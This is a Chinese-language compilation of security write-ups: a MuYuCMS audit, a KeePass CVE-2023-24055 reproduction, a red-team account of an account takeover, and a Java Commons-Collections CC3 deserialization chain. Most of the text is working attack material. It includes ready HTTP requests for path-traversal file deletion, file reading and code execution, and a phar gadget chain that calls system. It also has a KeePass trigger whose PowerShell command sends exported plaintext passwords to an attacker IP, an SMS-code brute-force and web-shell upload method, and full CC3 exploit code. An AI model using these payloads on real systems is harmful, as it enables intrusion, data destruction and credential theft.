木鱼cms系统审计小结
MuYuCMS基于Thinkphp开发的一套轻量级开源内容管理系统,专注为公司企业、个人站长提供快速建站提供解决方案。
环境搭建
我们利用 phpstudy 来搭建环境,选择 Apache2.4.39 + MySQL5.7.26+ php5.6.9 ,同时利用 PhpStorm 来实现对项目的调试
漏洞复现分析
任意文件删除
我们在网站的根目录下创建一个文件 test.txt 用来校验文件是否被删除
任意文件删除一
漏洞复现
登录后台后构造数据包
POST /admin.php/accessory/filesdel.html HTTP/1.1
Host: test.test
Content-Length: 55
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://test.test
Referer: http://test.test/admin.php/accessory/filelist.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: muyu_checkaccre=1676530347; PHPSESSID=ae5mpn24ivb25od6st8sdoouf7; muyu_first=1676531718;XDEBUG_SESSION=PHPSTORM
Connection: close
filedelur=/upload/files/.gitignore/../../../../test.txt
文件被成功删除
漏洞分析
\app\admin\controller\Accessory::filesdel
通过参数 $filedelurl 拼接得到要删除文件的地址,利用 unlink 函数删除文件,中间没有做任何校验
任意文件删除二
漏洞复现
登录后台后构造数据包
POST /admin.php/accessory/picdel.html HTTP/1.1
Host: test.test
Content-Length: 54
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://test.test
Referer: http://test.test/admin.php/accessory/filelist.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: muyu_checkaccre=1676530347; PHPSESSID=ae5mpn24ivb25od6st8sdoouf7; muyu_first=1676531718;XDEBUG_SESSION=PHPSTORM
Connection: close
picdelur=/upload/files/.gitignore/../../../../test.txt
漏洞分析
\app\admin\controller\Accessory::picdel
通过参数 $picdelur 拼接得到要删除图片的地址,利用 unlink 函数删除文件,中间没有做任何校验
任意文件删除三
漏洞复现
登录后台后构造数据包
GET /editor/index.php?a=delete_node&type=file&path=F:/Tools/phpstudy_pro/WWW/MuYuCMS-master/MuYuCMS-master/template/../test.txt HTTP/1.1
Host: test.test
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://test.test
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://test.test/editor/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: muyu_checkaccre=1676601856; PHPSESSID=94241isj4cqrr0nefhv9rvs1b2;XDEBUG_SESSION=PHPSTORM
Connection: close
漏洞分析
\App\Controller\Controller::delete_node
\App\Core\File::deleteFile
\App\Controller\Controller::beforeFun
对传入的 path 判断了是否在合法的文件域中,但没有对传入的 path 没有进行跨目录的校验就删除了文件
任意文件删除四
漏洞复现
POST /admin.php/database/sqldel.html HTTP/1.1
Host: test.test
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://test.test
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://test.test/editor/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: muyu_checkaccre=1676601856; PHPSESSID=94241isj4cqrr0nefhv9rvs1b2;XDEBUG_SESSION=PHPSTORM
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 19
name=../../test.txt
漏洞分析
\app\admin\controller\Database::sqldel
获取 post 传入的参数 name
利用 delFile 函数删除文件
任意文件删除五
漏洞复现
登录后台后构造数据包
POST /admin.php/update/rmdirr.html?dirname=F:/Tools/phpstudy_pro/WWW/MuYuCMS-master/MuYuCMS-master/template/../test.txt HTTP/1.1
Host: test.test
Content-Length: 0
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Origin: http://test.test
Referer: http://test.test/admin.php/system/update.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=d3bt6cnt59c2dfq7pshva5ffc1; muyu_checkaccre=1676878715; muyu_first=1676879341
Connection: close
漏洞分析
\app\admin\controller\Update::rmdirr
传入的参数 $dirname 经过简单的判断,然后调用 unlink 函数去删除
任意文件读取
漏洞复现
登录后构造数据包
GET /editor/index.php?a=get_file&file_path=F:/Tools/phpstudy_pro/WWW/MuYuCMS-master/MuYuCMS-master/template/../test.txt HTTP/1.1
Host: test.test
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://test.test
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://test.test/editor/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: muyu_checkaccre=1676601856; PHPSESSID=94241isj4cqrr0nefhv9rvs1b2;XDEBUG_SESSION=PHPSTORM
Connection: close
成功读取文件信息
漏洞分析
\App\Controller\Controller::get_file
列目录
漏洞复现
登录后构造数据包
GET /editor/index.php?a=dir_list&dir_path=F:/Tools/phpstudy_pro/WWW/MuYuCMS-master/MuYuCMS-master/template/../../../../../../../../ HTTP/1.1
Host: test.test
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://test.test
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://test.test/editor/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: muyu_checkaccre=1676601856; PHPSESSID=94241isj4cqrr0nefhv9rvs1b2;XDEBUG_SESSION=PHPSTORM
Connection: close
成功将根目录下的信息显露出来
漏洞分析
\App\Controller\Controller::dir_list
\App\Core\Jstree::getDir
\App\Controller\Controller::beforeFun
对传入的 dir_path判断了是否在合法的文件域中,但没有对传入的 dir_path没有进行跨目录的校验就打印出目录信息
任意代码执行
任意代码执行一
漏洞复现
登录后构造数据包,读取config 文件内容
GET /editor/index.php?a=get_file&file_path=F:/Tools/phpstudy_pro/WWW/MuYuCMS-master/MuYuCMS-master/template/member_temp/user/config.php HTTP/1.1
Host: test.test
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://test.test
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://test.test/editor/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: muyu_checkaccre=1676601856; PHPSESSID=94241isj4cqrr0nefhv9rvs1b2;XDEBUG_SESSION=PHPSTORM
Connection: close
此时需要获取的并不是文件内容,而是更改之后文件的key
复制文件校验码 替换到下面数据包中
GET /editor/index.php?a=save_file&file_path=F:/Tools/phpstudy_pro/WWW/MuYuCMS-master/MuYuCMS-master/template/member_temp/user/config.php&file_key=5e9c862ce52986e5437652d707c7c82f&file_content=<?php+phpinfo();+php?> HTTP/1.1
Host: test.test
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://test.test
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://test.test/editor/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: muyu_checkaccre=1676601856; PHPSESSID=94241isj4cqrr0nefhv9rvs1b2;XDEBUG_SESSION=PHPSTORM
Connection: close
访问文件在网站上对应的位置,发现代码已经被成功执行
也可以执行其他代码
漏洞分析
\App\Controller\Controller::save_file
save_file 有保存文件的操作,但是需要获取到文件的校验码。所以就可以通过先查询文件的相关信息,然后再对文件进行修改
\App\Core\File::setFileContent
任意代码执行二
漏洞复现
登录后构造数据包
POST /admin.php/update/getFile.html?url=http://127.0.0.1:8000/shell.php&save_dir=F:/Tools/phpstudy_pro/WWW/MuYuCMS-master/MuYuCMS-master/template/ HTTP/1.1
Host: test.test
Content-Length: 0
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Origin: http://test.test
Referer: http://test.test/admin.php/system/update.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=d3bt6cnt59c2dfq7pshva5ffc1; muyu_checkaccre=1676878715; muyu_first=1676879341;XDEBUG_SESSION=PHPSTORM
Connection: close
指定远程 url 下载文件,下载的文件保存到指定位置
访问指定的文件目录,发现代码被成功执行
漏洞分析
\app\admin\controller\Update::getFile
通过 $url 指定获取远程文件的地址,$save_dir 指定保存文件的路径,并未对文件的内容和类型进行校验,所以就会产生代码执行漏洞
phar反序列化
漏洞复现
<?php
namespace think{
abstract class Model{
protected $append;
private $data;
function __construct(){
$this->append = ["aaaa"=>["123456"]];
$this->data = ["aaaa"=>new Request()];
}
}
class Request
{
protected $param;
protected $hook;
protected $filter;
protected $config;
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
$this->param = ["calc"];
}
}
}
namespace think\process\pipes{
use think\model\Pivot;
class Windows
{
private $files;
public function __construct()
{
$this->files=[new Pivot()];
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
}
}
namespace{
use think\process\pipes\Windows;
@unlink('shell.jpg');
$phar = new Phar("shell.phar"); //
$phar->startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$object = new Windows();
//$object ->haha= 'eval(@$_POST[\'a\']);';
// $object ->haha= 'phpinfo();';
$phar->setMetadata($object);
$phar->addFromString("a", "a"); //添加要压缩的文件
$phar->stopBuffering();
echo (base64_encode(serialize(new Windows())));
}
?>
生成 phar 序列化数据包 修改后缀,启动 python 服务器
构造数据包下载远程的文件到本地
GET /public/static/admin/static/ueditor/php/controller.php?action=catchimage&source[]=http://127.0.0.1:8000/shell.png HTTP/1.1
Host: test.test
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: XDEBUG_SESSION=PHPSTORM
Connection: close
执行 phar 序列化
http://test.test/admin.php/update/rmdirr.html?dirname=phar://./public/upload/images/1676882763141961.png
注意事项
在最开始,获取远程图片的时候,一直出现错误 提示 链接contentType不正确 通过在代码中查找,定位到问题位置
校验了 Content-Type 的值 经过不断的调试仍然发现不了问题出现在哪
但是发现通过 phpstudy 默认的 apache 服务是没问题的 通过抓包对比发现 一个是 Content-Type 另一个是 Content-type
我直接修改了 python 的源代码 将其中的小写 t 替换成了大写 T
漏洞分析
\app\admin\controller\Update::rmdirr
通过协议绕过了对文件名的检测然后触发了反序列漏洞
MuYuCMS-master/public/static/admin/static/ueditor/php/controller.php
KeePass敏感信息明文传输漏洞复现 (CVE-2023-24055)
一、漏洞描述
漏洞简述
KeePass 是一款免费的开源密码管理器,可帮助您以安全的方式管理您的密码。您可以将所有密码存储在一个数据库中,该数据库由一把万能钥匙锁定。因此,您只需记住一个主密钥即可解锁整个数据库。数据库文件使用目前已知的最佳和最安全的加密算法(AES-256、ChaCha20 和 Twofish)进行加密。
对 KeePass 配置文件具有写入权限的攻击者可以修改它并注入恶意触发器,例如通过添加导出触发器来获取明文密码。
漏洞影响范围
供应商:KeePass
产品:KeePass Password Safe 2
确认受影响版本:KeePass 2.53版本
修复版本:KeePass 2.53.1版本
二、漏洞复现实战
环境搭建
Step 1 KeePass 2.53
下载地址:https://keepass.info/
Step 2 KeePass翻译语言包
下载地址:https://keepass.info/translations.html
将语言包文件复制至安装路径下“Languages”文件夹下
在KeePass中进入语言设置,切换语言
漏洞复现
根据原理,在安装路径下的配置文件KeePass.config.xml,根据触发器功能的安全缺陷进行利用。
创建一个触发器,在密码数据库存在交互时进行明文传输。触发器创建主要细分为两种方式:
(1)POC写入配置文件
将编写好的POC代码写入KeePass.config.xml,须符合触发器XML格式。
其中<Parameter>c:\Users\???\AppData\Local\Temp\exploit.xml</Parameter>字段为明文传输路径。
利用powershell以GET方式传输数据库中密码文件。
POC:
<TriggerSystem>
<Triggers>
<Trigger>
<Guid>lztpSRd56EuYtwwqntH7TQ==</Guid>
<Name>exploit</Name>
<Events>
<Event>
<TypeGuid>s6j9/ngTSmqcXdW6hDqbjg==</TypeGuid>
<Parameters>
<Parameter>0</Parameter>
<Parameter />
</Parameters>
</Event>
</Events>
<Conditions />
<Actions>
<Action>
<TypeGuid>D5prW87VRr65NO2xP5RIIg==</TypeGuid>
<Parameters>
<Parameter>c:\Users\???\AppData\Local\Temp\exploit.xml</Parameter>
<Parameter>KeePass XML (2.x)</Parameter>
<Parameter />
<Parameter />
</Parameters>
</Action>
<Action>
<TypeGuid>2uX4OwcwTBOe7y66y27kxw==</TypeGuid>
<Parameters>
<Parameter>PowerShell.exe</Parameter>
<Parameter>-ex bypass -noprofile -c $var=([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\???\AppData\Local\Temp\exploit.xml')));Invoke-WebRequest -uri http://192.168.XXX.XXX:8888/$var -Method GET </Parameter>
<Parameter>False</Parameter>
<Parameter>1</Parameter>
<Parameter />
</Parameters>
</Action>
</Actions>
</Trigger>
</Triggers>
</TriggerSystem>
保存KeePass.config.xml文件,触发器功能查看exploit触发器
(2)通过触发器功能手工创建触发器
以官方触发器构成为参考
https://keepass.info/help/kb/trigger_examples.htmlexploit触发器配置如下:
属性项:命名为exploit,其余默认配置
事件项:选择Saved database file(已保存数据库文件),判断条件选Equals(相等)
条件项:为空
操作项:
导出当前数据库
文件路径为上述文件传输路径
文件格式选择 KeePass XML (2.x)
执行命令行/URL
文件路径为PowerShell.exe ,使触发器执行PowerShell
参数选择攻击接收的路径
窗口方式选择Hidden
完成创建,可以看到exploit触发器
在攻击机 创建web服务,后续接收传输后的密码明文;
在KeePass中新建一条密码记录并保存,可以看到攻击机终端已接收到明文信息
进行base64解码,可以看到内容为密码记录内容,包含账号与密码等敏感信息。
漏洞修复
建议更新至KeePass 2.53.1 版本
结束语
本文主要介绍了CVE-2023-24055 KeePass敏感信息明文传输漏洞的复现过程,漏洞主要利用对 KeePass 配置文件在写入权限下可以修改它并注入恶意触发器,例如通过添加导出触发器来获取明文密码。
一次漏洞挖掘的简单组合拳
前言:
在最近的wxb举行hw中,同事让我帮他看看一些后台登录站点。尝试了未授权,弱口令皆无果,要么不存在弱口令,要么有验证码,没办法绕过。本文章仅提供一个思路,在hw中更多时候并不推荐尝试这种思路,只能作为一种解,因为花费的时间较长,前后大概花费了一个小时才拿下一个后台账号。
过程及思路:
在外围打点的过程中发现了一个站点,存在用户名枚举:
然后看到下面的验证码,估计很多都会放弃了吧!短信验证码+密码才能登录,爆破难度太大了。我一开始也是这么想的,后面尝试了下面的找回密码,看看是否能任意修改他人的账号密码。
后续先用自己不常用的手机号获取下验证码(这一步其实在hw中是很危险的,很容易被溯源)。发现短信验证码为四位数,而且失效时间大约在3分钟左右。查看这边重置密码的条件也就是短信验证码。这时候还记得我们前面发现的用户名枚举吗?我的思路是结合这两个漏洞,实现重置他人密码。
那么问题来了,我怎么知道用户的手机号码呢?或者说,手机号码那么多我要怎么找呢?这个是一个地级市的服务平台,那么他的用户理论上会存在大部分的该地级市的手机号码。每个地区的号码都是由前七位控制的,那么就可以查询一个地区的所有前七位号码,在加上遍历后面4位号码即可获得一个地区的手机号字典。这边给大家推荐一个工具,可以用来爬取一个地级市所有的手机号码。使用后会在本地生成字典号码。
然后把这些号码用burp去爆破,就可以获取到数据库里面存在的账号了。
通过爆破,我们获取到了后台账号,再结合前面的4位数验证码,去尝试爆破。
抓取重置密码的请求包,密码我们提前写好了:
再用intruder去爆破短信验证码:
皇天不负有心人,尝试了几次,终于成功了。当我高高兴兴拿着密码去登录时,发现还要验证码,这时候再重复一下前面的操作就行了。
然后就是把整个响应包的内容复制下来,再去点击下登录,然后替换掉登录报错的信息即可成功进入后台。
里面富含大量敏感信息,虽然没啥用。
然后在功能列表里面找到一个上传图片的地方,并未做过滤,成功上传木马:
但是没啥用,解析不了QAQ。本次只是给大家介绍一下思路,方法是可行的。其实我也不想用这种方法,但是更多的是想验证自己的猜想,才最终去实践证明。
CC1打不通时的另外一条链CC3
在CC1和CC6中,我们最终弹计算器都是通过Runtime.exec进行调用,从CC3我们要介绍一种不通过Runtime来弹计算器的方法,也就是Java中常提到的动态类加载,动态类加载可以让我们通过一个路径来加载一个恶意类,如果这个恶意类在静态代码块或构造代码块中写入了恶意方法,那么我们就可以通过找一条链子来初始化这个类(一般在进行实例化时会对类进行初始化),从而达到代码块中的代码执行。
ClassLoader中的defineClass最终实现了类的动态加载(后面还有一些过程但已经是依靠c来实现的了),在ClassLoader中可以看到一堆defineClass,我们查找用法,看一下哪个defineClass在别处被调用了,而且权限最好是default或者public,方便我们利用,最终锁定下面这个:
protected final Class<?> defineClass(String name, byte[] b, int off, int len)
throws ClassFormatError
这个defineClass被调用的点在com.sun.org.apache.xalan.internal.xsltc.trax中的TemplatesImpl.TransletClassLoader下,也是一个defineClass:
这个defineClass又在当前类中被defineTransletClasses调用:
defineTransletClasses同类下有三个被调用点,我们看一下哪个方法可以被我们利用:
第一个返回_class:
private synchronized Class[] getTransletClasses() {
try {
if (_class == null) defineTransletClasses();
}
catch (TransformerConfigurationException e) {
// Falls through
}
return _class;
}
第二个返回了_class的下标:
public synchronized int getTransletIndex() {
try {
if (_class == null) defineTransletClasses();
}
catch (TransformerConfigurationException e) {
// Falls through
}
return _transletIndex;
}
第三个方法我们主要看newInstance这里,这个_class[_transletIndex]可控(通过上面找到的defineTransletClasses动态加载进来),如果我们让_class为我们所构造的恶意类并让它newInstance,那么就可以执行恶意类中的静态/构造代码块中的代码,所以我们接着找这个方法的调用点:
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
下一调用点还是在这个类中,我们找到newTransformer()这个方法:
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
我们来梳理一下到目前的调用链,很短也很方便:
我们先将payload写出来:
TemplatesImpl templatesimpl = new TemplatesImpl();
templatesimpl.newTransformer();
写完啦 下班!(开个玩笑)逻辑上来说这两行代码确实是完整的调用链,我们接下来要做的就是对类内部的各种属性进行赋值:
newTransformer内不需要进行赋值操作,跟进到getTransletInstance中 ,类内没有对name和class进行赋值,如果想要触发defineTransletClasses()我们就需要让name不为空,class为空,直接不给_class赋值即可:
if (_name == null) return null;
if (_class == null) defineTransletClasses();
继续跟进到defineTransletClasses中 ,如果想要走到下面动态加载class,我们这里要注意对tfactory进行赋值,否则对一个空属性调用方法,会爆空指针异常:
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
上一步之后我们在对class赋值这里可以看到是通过修改_bytecodes从而控制class的值:
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
一共三个需要修改的值,TemplatesImpl类是可序列化的,所以我们可以直接通过反射修改这些值,看一下这几个值的类型:
private String _name = null;
private byte[][] _bytecodes = null;
private transient TransformerFactoryImpl _tfactory = null;
都是private属性,所以要用setAccessible 来修改访问权限,name是String类型,所以直接赋个字符串就行:
Class tmp = templatesimpl.getClass();
Field nameField = tmp.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templatesimpl,"y1");
再看_bytecodes,一个二维数组,但我们在给_class赋值时defineClass接受的却是一个一维数组:
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
所以我们给_bytecodes 赋值时可以将defineClass接收的一维数组放进_bytecodes这个二维数组中,这样在进行for循环遍历时就可以将这个一维数组遍历出来并传给defineClass,这个class需要我们在写好java源码后手动编译为class文件,最好把这个class文件复制到电脑上的别的地方再在这里使用(编译后的class文件一般在target下):
Field bytecodesField = tmp.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));
byte[][] codes = {code};
bytecodesField.set(templatesimpl,codes);Test.class
public class Calc {
static{
try {
Runtime.getRuntime().exec("open -na Calculator"); //这里是mac弹计算器的命令
} catch (IOException e) { //win下还是calc
throw new RuntimeException(e);
}
}
}
然后我们再来改_tfactory的值:
这里要注意一下,被transient关键字修饰的属性是不参与序列化的,也就是说就算我们通过反射修改了它的值,反序列化后的二进制流这个属性的值也依旧是null,所以这里我们要用其他的方式赋值
private transient TransformerFactoryImpl _tfactory = null;
我们在readObject中发现有对这些属性进行赋值的操作,_tfactory的值是一个TransformerFactoryImpl实例:
_name = (String)gf.get("_name", null);
//以下几行代码对序列化流中的属性读取它们的值,如果读不到值那么将它的值设为默认值(第二个参数)
_bytecodes = (byte[][])gf.get("_bytecodes", null);
_class = (Class[])gf.get("_class", null);
_transletIndex = gf.get("_transletIndex", -1);
_outputProperties = (Properties)gf.get("_outputProperties", null);
_indentNumber = gf.get("_indentNumber", 0);
if (is.readBoolean()) {
_uriResolver = (URIResolver) is.readObject();
}
_tfactory = new TransformerFactoryImpl();
}
我们先不进行序列化和反序列化,我们先用反射修改_tfactory的值,看看能不能弹计算器(这里我们并没有进行序列化和反序列化,所以其实就是用反射修改了个值,所以是可以修改成功的):
TemplatesImpl templatesimpl = new TemplatesImpl();
Class tmp = templatesimpl.getClass();
Field nameField = tmp.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templatesimpl,"y1");
Field bytecodesField = tmp.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));
byte[][] codes = {code};
bytecodesField.set(templatesimpl,codes);
Field tfactoryfield = tmp.getDeclaredField("_tfactory");
tfactoryfield.setAccessible(true);
tfactoryfield.set(templatesimpl,new TransformerFactoryImpl());
templatesimpl.newTransformer();
没有弹出来计算器,爆了空指针异常,通过调试发现在_class成功加载类后,是这里抛出了异常:
final Class superClass = _class[i].getSuperclass();
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
第一个if检查class的父类是否叫ABSTRACT_TRANSLET ,如果没有进入到if里面那么else中的auxClasses为空,就会抛空指针,并且下面第二个if中也会抛异常,为了避免这两个抛异常的点,我们需要将_class加载的恶意类继承名为ABSTRACT_TRANSLET 的父类:
private static String ABSTRACT_TRANSLET
= "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
修改恶意类,继承的父类中有两个抽象方法需要进行重写:
public class Calc extends AbstractTranslet{
static{
try {
Runtime.getRuntime().exec("open -na Calculator");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
现在就可以弹出计算器了,如果你这里没有弹出来,看一下import的包是不是有问题,TemplatesImpl和TransformerFactoryImpl的路径一定要是com.xxx,如果是org.xxx是不能用的:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
public class CC3Test {
public static void main(String[] args) throws Exception{
TemplatesImpl templatesimpl = new TemplatesImpl();
Class tmp = templatesimpl.getClass();
Field nameField = tmp.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templatesimpl,"y1");
Field bytecodesField = tmp.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));
byte[][] codes = {code};
bytecodesField.set(templatesimpl,codes);
Field tfactoryfield = tmp.getDeclaredField("_tfactory");
tfactoryfield.setAccessible(true);
tfactoryfield.set(templatesimpl,new TransformerFactoryImpl());
templatesimpl.newTransformer();
}
}
下面我们要想办法执行templatesimpl.newTransformer,这里依旧是用CC1中用到的InvokerTransformer.transform进行代码的执行:
TemplatesImpl templatesimpl = new TemplatesImpl();
Class tmp = templatesimpl.getClass();
Field nameField = tmp.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templatesimpl,"y1");
Field bytecodesField = tmp.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));
byte[][] codes = {code};
bytecodesField.set(templatesimpl,codes);
Field tfactoryfield = tmp.getDeclaredField("_tfactory");
tfactoryfield.setAccessible(true);
tfactoryfield.set(templatesimpl,new TransformerFactoryImpl());
ChainedTransformer ctf = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(templatesimpl),
new InvokerTransformer("newTransformer",null,null)
});
ctf.transform(1);
剩下的找Chainedtransformer.transform 的调用点就和CC1后面一样了,直接粘过来就是:
package ysoserial.payloads.Test;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import static ysoserial.payloads.util.Test.util.Serialize.serialize;
import static ysoserial.payloads.util.Test.util.Unserialize.unserialize;
public class CC3Test {
public static void main(String[] args) throws Exception{
TemplatesImpl templatesimpl = new TemplatesImpl();
Class tmp = templatesimpl.getClass();
Field nameField = tmp.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templatesimpl,"y1");
Field bytecodesField = tmp.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));
byte[][] codes = {code};
bytecodesField.set(templatesimpl,codes);
Field tfactoryfield = tmp.getDeclaredField("_tfactory");
tfactoryfield.setAccessible(true);
tfactoryfield.set(templatesimpl,new TransformerFactoryImpl());
ChainedTransformer ctf = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(templatesimpl),
new InvokerTransformer("newTransformer",null,null)
});
HashMap map = new HashMap();
map.put("value","v");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,ctf);
Class annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerconstructor = annotationInvocationHandler.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerconstructor.setAccessible(true);
Object o = annotationInvocationHandlerconstructor.newInstance(Target.class,transformedMap);
serialize(o);
unserialize("ser.bin");
}
}
相较于CC1来说一个是通过调用Runtime来进行命令执行,一个是通过动态类加载进行代码执行,如果过滤了Runtime我们就可以尝试用这条CC3
接下来我们在来说ysoserial上用的另一条调用链:
